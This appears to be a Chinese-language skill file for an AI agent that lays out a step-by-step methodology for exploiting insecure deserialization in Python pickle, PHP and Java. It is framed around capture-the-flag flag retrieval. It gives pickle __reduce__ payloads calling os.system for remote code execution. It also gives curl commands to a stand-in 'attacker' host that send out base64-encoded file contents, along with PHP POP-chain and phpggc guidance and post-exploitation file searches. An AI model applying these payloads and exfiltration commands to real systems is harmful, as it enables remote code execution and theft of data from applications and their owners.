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deserialization-methodology

DevOps & Security
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不安全反序列化漏洞利用。当发现 Base64 编码的 Cookie/参数、Python pickle 数据、PHP serialized 字符串(O:4:...)、Java serialized 数据(rO0AB...)时使用。可直接获取 RCE

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Source SKILL.md: https://github.com/wgpsec/AboutSecurity/blob/HEAD/skills/exploit/web-method/deserialization-methodology/SKILL.md

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反序列化漏洞方法论

深入参考

Phase 1: 检测反序列化入口

常见位置:Cookie 值、POST Body、Hidden 表单字段(viewstate)、API 参数、文件上传

格式标识(Magic Bytes):

格式识别特征下一步
Python PickleBase64 解码后 \x80 开头或含 cos\n(魔术字节)→ Phase 2
PHPO:4:"User":2:{ 或 a:N:{ 格式→ Phase 3
JavaBase64 解码后 \xac\xed\x00\x05(Magic Bytes)或 Base64 rO0AB 开头Java 反序列化利用
  1. 提取所有 Cookie 和隐藏字段的值,尝试 Base64 解码
  2. 检查 Content-Type 头:application/x-python-pickle、application/x-java-serialized-object
  3. 观察错误信息中是否包含 pickle、unserialize、ObjectInputStream 等关键字
  4. 上传 .pkl、.ser 等序列化文件格式,观察服务端行为
  5. 修改序列化数据中的字段值,观察响应变化确认服务端确实反序列化了输入

Phase 2: Python Pickle RCE

⚠️ 关键约束:__reduce__ 只能返回 (模块级函数, 参数元组) — self.method 会失败

  1. 构造基础 RCE payload:使用 __reduce__ 方法调用 os.system 或 subprocess.check_output
  2. 回显 payload:subprocess.check_output(['cat', '/flag.txt']) — 直接在响应中看到结果
  3. 无回显 payload:os.system('cp /flag.txt /app/static/f.txt') — 写文件到 Web 可访问路径
  4. 外带 payload:os.system('curl http://attacker/?d=$(cat /flag|base64)') — HTTP 外传数据
  5. 序列化并编码:base64.b64encode(pickle.dumps(payload)) 后替换原始数据发送
  6. 注意 Python 版本差异:Python 2/3 的 pickle 协议版本不同,可能需要指定 protocol=2

常见触发点:Flask session、Redis session、Content-Type: application/x-python-pickle、.pkl 文件上传

决策树:回显 payload → 无回显则写文件到 Web 路径 → 仍失败则读盲利用参考 → 完整模板 → 读 references/pickle-payload-templates.md

Phase 3: PHP 反序列化

  1. 识别序列化字符串格式:O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
  2. Type Juggling 速查:b:1(boolean true)松散比较 == 可绕过任意密码验证
  3. 修改属性值:直接修改序列化字符串中的字段(注意长度前缀 s:N: 要匹配)
  4. POP Chain 构造:找到可控属性的类(如 __destruct 中调用 file_put_contents),通过链式属性控制实现任意文件写入或命令执行
  5. phpggc 工具:phpggc <framework>/<gadget> <type> <arg> 自动生成常见框架的利用链
  6. 常见框架 gadget:Laravel(RCE)、Symfony(文件写入)、WordPress(对象注入) → 完整 POP Chain/Type Juggling/phpggc 用法 → 读 references/php-deserialization.md

Phase 4: Flag 获取

  1. 反序列化 RCE 成功后优先执行:cat /flag.txt、cat /FLAG.txt
  2. 列目录搜索:ls / → find / -name "*flag*" 2>/dev/null
  3. 环境变量:env | grep -i flag
  4. 无回显时写到 Web 路径:cp /flag* /app/static/flag.txt 然后 HTTP 访问
  5. DNS/HTTP 外带:curl http://attacker/$(cat /flag|base64)
  6. 检查数据库:cat /app/config* 获取连接信息后查询 flag 表